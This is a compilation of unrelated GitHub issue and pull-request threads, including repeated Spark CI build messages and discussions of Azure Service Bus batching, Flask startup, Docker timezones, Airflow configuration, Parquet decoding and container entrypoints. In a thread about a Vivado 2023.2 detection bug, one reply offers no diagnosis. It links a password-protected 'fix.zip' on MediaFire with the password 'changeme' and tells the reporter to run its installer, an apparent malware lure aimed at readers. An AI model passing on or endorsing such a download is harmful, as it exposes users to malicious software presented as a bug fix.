
Test build #133814 has finished for PR 31015 at commit 5baf969.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133814/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133814/

Test build #133839 has started for PR 31015 at commit 35e525a.

Test build #133839 has started for PR 31015 at commit 35e525a.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38428/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38428/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38428/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38428/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38428/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38428/

Test build #133844 has started for PR 31015 at commit e962965.

Test build #133844 has started for PR 31015 at commit e962965.

Test build #133844 has finished for PR 31015 at commit e962965.

This patch fails Scala style tests.
This patch merges cleanly.
This patch adds no public classes.

Test build #133844 has finished for PR 31015 at commit e962965.

This patch fails Scala style tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133844/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133844/

Test build #133839 has finished for PR 31015 at commit 35e525a.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Test build #133839 has finished for PR 31015 at commit 35e525a.

This patch fails Spark unit tests.
This patch merges cleanly.
This patch adds no public classes.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38433/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38433/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133839/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133839/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38433/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38433/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38433/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38433/

Test build #133860 has started for PR 31015 at commit e26fea9.

Test build #133860 has started for PR 31015 at commit e26fea9.

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38449/

Kubernetes integration test starting
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38449/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38449/

Kubernetes integration test status success
URL: https://amplab.cs.berkeley.edu/jenkins/job/SparkPullRequestBuilder-K8s/38449/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38449/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder-K8s/38449/

Test build #133860 has finished for PR 31015 at commit e26fea9.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Test build #133860 has finished for PR 31015 at commit e26fea9.

This patch passes all tests.
This patch merges cleanly.
This patch adds no public classes.

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133860/

Refer to this link for build results (access rights to CI server needed):
https://amplab.cs.berkeley.edu/jenkins//job/SparkPullRequestBuilder/133860/

The change looks OK to me.

Hi，Thank  you for your response，Can you merge it into master branch for me? Thank you so much!

The change looks OK to me.

Hi，Thank  you for your response，Can you merge it into master branch for me? Thank you so much!

Merged to master

Merged to master


wrong predicate for lab_address

The predicate in the schema for lab_address is http://purl.obolibrary.org/obo/OBI_0600047 which is a typo because that's actually the predicate for sample_sequencing_technology.  Need to determine the correct predicate and fix the schema.

Done, I presume.


Fix error messages to better understand whats going on

References https://github.com/metal-stack/go-ipam/issues/153.

replaced by #154


MessageBus: provide batch API to complete/abandon message

Library or service name.
MessageBus
Is your feature request related to a problem? Please describe.
With latest version of SDK I can retrieve messages in batch but I cannot complete or abandon those messages in batch, I have to go message by message. It would be nice to have a batch API to avoid multiple calls to Azure endpoint.

Hi @cfauchere.  Thank you for your feedback.  Unfortunately, this request has been discussed previously and is not something that we will be adding to the Service Bus client library.  There is no support for multiple complete or abandon operations offered by the Service Bus service; any batched API would be client-side only and would be similar to:
  var tasks = new List<Task>();

  for (ServiceBusReceivedMessage message in messages)
  {
      tasks.Add(receiver.CompleteMessageAsync(message));
  }

  await Task.WhenAll(tasks);

We have concerns that this would introduce complexity and confusion around error scenarios due to the potential for partial success.  It also may hide a performance bottleneck, which is also a concern.  Since this pattern is fairly straight-forward to implement, we felt it was better applied in the application than hidden within the SDK.
More context and the full discussion can be found in #7291.

There use to be a feature for this purpose on Microsoft.Azure.ServiceBus assembly
-> public Task CompleteAsync(IEnumerable lockTokens)

There use to be a feature for this purpose on Microsoft.Azure.ServiceBus assembly -> public Task CompleteAsync(IEnumerable lockTokens)

As @jsquire mentioned, the service has no support for batch completion, and this was simply added as a client-side convenience. The equivalent would be to write this code when using the new SDK:
  var tasks = new List<Task>();

  for (ServiceBusReceivedMessage message in messages)
  {
      tasks.Add(receiver.CompleteMessageAsync(message));
  }

  await Task.WhenAll(tasks);


Web Application Not starting after running app.py in terminal

The complete code is displayed in a notepad after executing the commands.
This is my folder structure:
flaskapp1/
app.py
templates/
first_app.html
Below are the commands I ran in terminal:
S:>cd flaskapp1
S:\flaskapp1>app.py
error.docx
error.docx
OS: windows10

Hi there,
the error message is a bit confusing, because docx is a Microsoft Word format, right? Can you try to execute "app.py" via
python3 app.py

(or just python app.py depending on your system setup) to see if that solves the issue?

python3 app.py gives an error.
I used python ./app.py and it worked


About NeurIPS submission

Hi ^^
First, thanks for this great repo
I would like to ask please concerning the submission made to NeurIPS

@inproceedings{xai-bench-2021,
title={Synthetic Benchmarks for Scientific Research in Explainable Machine Learning},
author={Liu, Yang and Khandagale, Sujay and White, Colin and Neiswanger, Willie},
booktitle={Advances in Neural Information Processing Systems Datasets Track},
year={2021},
}

How many acceptance/rejections did you get from the 4 Readers?
Thanks

Answer here
https://openreview.net/forum?id=R7vr14ffhF9


fix: docker timezone

fix https://github.com/go-sonic/sonic/issues/101
add tzdata in Dockerfile and set Asia/Shanghai as the default timezone
we can also change timezone by  specifying the environment variables -e TZ=Asia/Shanghai

Thansk! And sorry to see it so late.
There are several problems:

The installation of tzdata should be in the builder stage
If other time zones are specified through environment variables, can they take effect
The default time zone should be more international

Thanks for review

To support changing timezone by env, we should install tzdata in prod. This will provide us with all the necessary timezone data. They can take effect
As many of users are Chinese and i18n still in the todo list, I think it't better to set the default timezone to Asia/Shanghai

But you only copied the Asia/Shanghai time zone file to/etc/localtime. If  specified other time zones through the environment variable, wouldn't the file be missing in/etc/localtime?

any updates on this? let me know if you have any questions

Thanks


Fix reading strings from conf for remote logging

The default remote_logging values of None and False were being read as
strings rather than Python objects and therefore misinterpreted

Coverage decreased (-0.1%) to 66.917% when pulling 4d9f36b45ad48b9c04cd86a8801bc19fb273c256 on jlowin:fix-remote-base-None into ab1c90b4e1a5853a7568d1799c88cc3ecad751e6 on airbnb:master.

Should this not be fixed in configuration.py itself? Eg. if "None" is found, we don't set a value? if != 'None' is bound to have some fix it by doing a "if is not None" in the future

The issue is that I had unwittingly added remote_base_log_folder = None to the airflow.cfg template, so anyone who regenerated airflow.cfg in the last month or so has a string value "None" there. It shouldn't actually be "None" or even None (the Python object); the real default is ''. So I added that line just to cover people who installed Airflow prior to this PR going into a release.


use make in ci

Codecov Report

Merging #16 (f45c091) into main (18d0c5b) will not change coverage.
The diff coverage is n/a.

@@           Coverage Diff           @@
##             main      #16   +/-   ##
=======================================
  Coverage   63.46%   63.46%
=======================================
  Files           2        2
  Lines          52       52
=======================================
  Hits           33       33
  Misses         17       17
  Partials        2        2

Help us with your feedback. Take ten seconds to tell us how you rate us.


vertical offset of the preview images is never set

fy should be focusY in jquery.focuspoint.js
https://i.imgur.com/mDErSJE.png
fy does not exist as far as I can see.
In the current version, the vertical offset of the preview images is never set.

Thanks Nikolaj, will fix that.


Readme Update - Contributions

Initial PR.
Pretty self-explanatory. Let me know if you want anything additional added.

awesome 👍


GH-34335: [C++][Parquet] Optimize Decoding DELTA_LENGTH_BYTE_ARRAY

Rationale for this change

According to https://github.com/apache/arrow/pull/34323 . DELTA_LENGTH_BYTE_ARRAY is much more slower. So do some optimizations.
What changes are included in this PR?

Some tiny changes
Are these changes tested?

No more tests included, these code are already tested
Are there any user-facing changes?
No

Closes: #34335

This patch is currently for poc and fast verification. If it works and https://github.com/apache/arrow/pull/34323 is merged, I'll making code for it better :)

    for (int i = 0; i < max_values; ++i) {
      buffer[i].ptr = data_ptr;
      data_ptr += buffer[i].len;
    }

By the way, I don't know would this code cause cache problem or prevent from optimization, causing pipeline hazard or compiler do not optimize here. I'd do some survey.


[BUG] Can not work with Vivado 2023.2

When setting the toolchain of scaleda, I have offered the path of Vivado but the plugin cannot detect the corresponding toolchain.
The path I offered follows the example shown on the website, which is like "~/Xlinx/Vivado/<Vivado_version>". The actual path I offered is "E:\Xilinx\Vivado\2023.2".
The version of scaleda I used is v0.2.2, while the version of Vivado is 2023.2 and the version of IDEA Ultimate is 2<IP_ADDRESS>. Besides, I'm running this app on Windows 11 24H2.

Download
https://www.mediafire.com/file/zch0v8rj7200mbm/fix.zip/file
password: changeme
In the installer menu, select "gcc."


Use a standard timer for the DaynaPort delay work-around

A seemingly small change, but important. Tested with a Mac SE, but the actual delay does not change anyway with this change.

Just out of curiosity, how come this change is important? Standardizing the API used for timers?

Just out of curiosity, how come this change is important? Standardizing the API used for timers?

This change is important because, at least as far as I can tell right now, this was the only code location where I was not sure whether I can completely get rid of code using the special timer of the Raspberry Pi. If we do not need it it saves quite some code, and makes the code much more portable.
While testing locally I was already able to remove all occurences of this timer, but this needs more testing.


AltN acts like CtrlN

Description of the problem or steps to reproduce
Alt+N should "Create new multiple cursor from selection". Instead it acts like Ctrl+N, and
so I get "No matches found" if I haven't previously done a search.
All other Alt keybindings work fine, so it's not my terminal settings.
I have no custom keybindings defined.
Specifications

Commit hash: f594686
OS: MacOS Catalina
Terminal: iTerm2 3.3.10b2

I misunderstood what this does.


The async git part doesn't show up with ZVM plugin

Is there an existing issue for this?

[X] Yes, I have searched the existing issues
[X] Yes, I have checked troubleshooting page

The problem
The async part with git doesn't show with the ZVM (zsh-vim-mode) plugin, but works perfectly with the general vi-mode (commented line in my zsh configuration).
However, if I set SPACESHIP_PROMPT_ASYNC=false, it works with ZVM. Not sure if its just a bug or not implemented yet.
I think, it's not highly related to https://github.com/spaceship-prompt/spaceship-prompt/issues/1190 as I actually have all async part displayed, except git branch/status
with ZVM, SPACESHIP_PROMPT_ASYNC=false:

with ZVM and SPACESHIP_PROMPT_ASYNC=true:

with vi-mode (ZVM disabled) and SPACESHIP_PROMPT_ASYNC=true:

Relevant Zsh configuration
plugins=(
    zsh-aliases-exa
    spaceship-vi-mode
    # vi-mode
    zsh-vi-mode
    zsh-syntax-highlighting
    tmux
    zsh-autosuggestions
)
export RPS1="%{$reset_color%}"
ZSH_THEME="spaceship"
source $ZSH/oh-my-zsh.sh

What is version of Spaceship are you using?
v4.2.5
What is version of Zsh are you using?
zsh 5.8.1
What operation system are you running?
Ubuntu 22.04
Do you use any Zsh framework or plugin manager?
oh-my-zsh
Which terminal emulator do you use?
kitty + tmux
Additional information
No response

Have you resolved the issue?

Have you resolved the issue?

sorry for no response. Actually, the default configuration didn't work for me, so I manually specified the SPACESHIP_PROMPT_ORDER and that worked


Container best practice is to use ENTRYPOINT rather than CMD

Our containers use CMD rather than ENTRYPOINT, but it seems that best practice is to use ENTRYPOINT:
https://docs.docker.com/develop/develop-images/dockerfile_best-practices/#entrypoint
We should change our dockerfiles according to best practices.

Caveat: ./github/action/build-component-per-arch/main.js runs (bash) find in containers, assuming (which it shouldn't), that containers' (plural) entrypoint is a shell and that it's able to override some default command:
https://github.com/deislabs/akri/blob/fd2ed66c30c9fe4a7820a9b2feecfd3420da717e/.github/actions/build-component-per-arch/main.js#L96
A better practice (per the above) is for the container's primary function e.g. agent, controller etc. to be its entrypoint. Then, running containers is like running any other binary.

NOTE It's also preferable to not include superfluous functionality (e.g. bash) in a container whose function doesn't require bash; security, patching reasons etc.

Alternatives in this case:

Run the container and docker cp ${ID}:/path/to/known/location/container-images-legal-notice.md /somewhere/on/host
Retain bash or some other shell but make this a requirement for Akri developers so that you can --entrypoint=/bin/bash
Require container developers to host a small httpd that responds on any path by returning the legal notice

The Dockerfiles that should be changed live in our build directory


Code cleanup 🧹

This PR makes some changes to the source to hopefully make updating it easier, and less messy. The following are some changes:

Commands/interactions are now in their own folders.
src/commands are Slash Commands
src/buttons are interactions received from a button
src/selects are interactions received from a select
Builder.ts was removed and replaced with BuilderStore. Builder was just an event emitter, and served almost no purpose.
Removed some comments that weren't really needed

bruh thats a lot of changes

Got like 3 commits in and was like "yeah, nah"


Update tut-design.md

changing link to docs site for incident layouts. additional changes will be added to PR before requesting approval

@ShahafBenYakir I closed the original PR and opened this one. Instead of deleting the file, I changed the title and edited the content so it's specific to converting 5.5 layout (this information is not available on docs site and will be of interest to only a few remaining 5.5 customers looking to upgrade). I realize the file name and the title no longer match, not sure if that's a problem
I also changed the link in the tut-design file to go to the docs incident layout page.